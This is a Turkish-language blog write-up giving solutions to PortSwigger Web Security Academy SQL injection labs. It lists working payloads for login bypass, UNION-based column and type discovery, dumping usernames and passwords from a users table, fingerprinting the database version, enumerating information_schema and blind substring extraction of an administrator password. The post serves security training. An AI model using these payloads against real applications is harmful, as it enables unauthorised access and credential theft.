PortSwigger LABs- SQL Injection

4 months ago 40
BOOK THIS SPACE FOR AD
ARTICLE AD

H-ACK-ing

Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

Çözüm:

web-security-academy.net/filter?category=Lifestyle’+or+1=1 —

Lab: SQL injection vulnerability allowing login bypass

Çözüm:

Administrator’ —

SQL injection UNION attacks

SQL injection UNION sorgusunu çalışması için iki tane anahtar noktayı karşılamak zorunda:

- Bireysel sorgu ile Aynı sayıda sutun döndürmelidir.

- Bireysel sorgu ile aynı veri türleri olması lazım.

Bundan dolayı

- orijinal sorguda kaç kolon döndürüldüğünü bilmemiz gerekir.

- aynı veri türü olması gerekir.

Dönen sutun sayısını belirlemek için

- ORDER BY kullanabiliriz.

‘ ORDER BY 1 — Sorguda dönen birinci kolona göre sıralanacak verileri demek

‘ ORDER BY 2 — Sorguda dönen ikinci kolona göre sıralanacak verileri demek

‘ ORDER BY 3 — Sorguda dönen üçüncü kolona göre sıralanacak verileri demek

etc.

Hata alana kadar ya da uygulamada farklı bir cevap alana kadar bu şekilde işleme devam edilir. Hatanın anlamı bu sayıda bir sütun olmadığı ve bir önceki sütun sayısını doğru olduğu gösteriyor.

- SELECT NULL değerini kullanmak

‘ UNION SELECT NULL —

‘ UNION SELECT NULL,NULL —

‘ UNION SELECT NULL,NULL,NULL — etc.

Lab: SQL injection UNION attack, determining the number of columns returned by the query

web-security-academy.net/filter?category=pet%27+UNION+SELECT+NULL,NULL,NULL —

Veri tipini Bulmak için:

‘ UNION SELECT ‘a’,NULL,NULL,NULL —

‘ UNION SELECT NULL,’a’,NULL,NULL —

‘ UNION SELECT NULL,NULL,’a’,NULL —

‘ UNION SELECT NULL,NULL,NULL,’a’ —

Lab: SQL injection UNION attack, finding a column containing text

web-security-academy.net/filter?category=’+UNION+SELECT+NULL,’DOo5kF’,NULL — -

Using a SQL injection UNION attack to retrieve interesting data

Orijinal sorgunun döndürdüğü sütun sayısını belirlediğinizde ve hangi sütunların dize verilerini tutabildiğini bulduğunuzda, ilginç verileri alabilecek konumdasınız.

+ Orijinal sorgudaki veri tutan sütunları biliyoruz

+ where sorgu komutu kullanılıyor.

+ DB adını bilecen ve sütun adlarını bilmen gerekir.

Lab: SQL injection UNION attack, retrieving data from other tables

web-security-academy.net/filter?category=%27+UNION+SELECT+username,+password+FROM+users —

Retrieving multiple values within a single column

‘ UNION SELECT username || ‘~’ || password FROM users —

İlk olarak hangi kaç tane sutun ve sutünlarda dönen veriyi tespit etmemiz lazım.

‘+UNION+SELECT+NULL,’dnotixx’ —

2. Daha sonra ilgili tablodan daha önce bildiğimiz iki sutünün birbirine yapıştırarak içindeki verileri okuyoruz.

Examining the database in SQL injection attacks

SQL açıklarından yararlanmak için DB hakkında bilgi sahibi olmamız lazım.

Bu bilgiler:

DB türü ve veriyonuDB tablo ve sütunları

Database type

Query

Microsoft, MySQL

SELECT @@version

Oracle

SELECT * FROM v$version

PostgreSQL

SELECT version()

Bunun aşağıdaki UNION komut ile öğrenebiliriz:

‘ UNION SELECT @@version —

SQL injection attack, querying the database type and version on MySQL and Microsoft

Listing the contents of the database

SELECT * FROM information_schema.tables

SELECT * FROM information_schema.columns WHERE table_name = ‘Users’

Lab: SQL injection attack, listing the database contents on non-Oracle databases:

web-security-academy.net/filter?category=’UNION+SELECT+column_name,NULL+FROM+information_schema.columns+WHERE+table_name=’users_aexpfh’ —

web-security-academy.net/filter?category=’UNION+SELECT+username_iawkxj|| ‘~’ ||password_ckcbxl,NULL+FROM+users_aexpfh —

Blind SQL injection

HTTP de dönen cevapta herhangi bir veritabanı hatası olmadığı durumlarda ki söz konusu olan güvenlik açığıdır.

Buradan veri çıkarmak sabır ister.

xyz’ AND SUBSTRING((SELECT Password FROM Users WHERE Username = ‘Administrator’), 1, 1) > ‘t

Lab: Blind SQL injection with conditional responses

Portswigger lab çözümlerin devamında görüşmek üzere.

Read Entire Article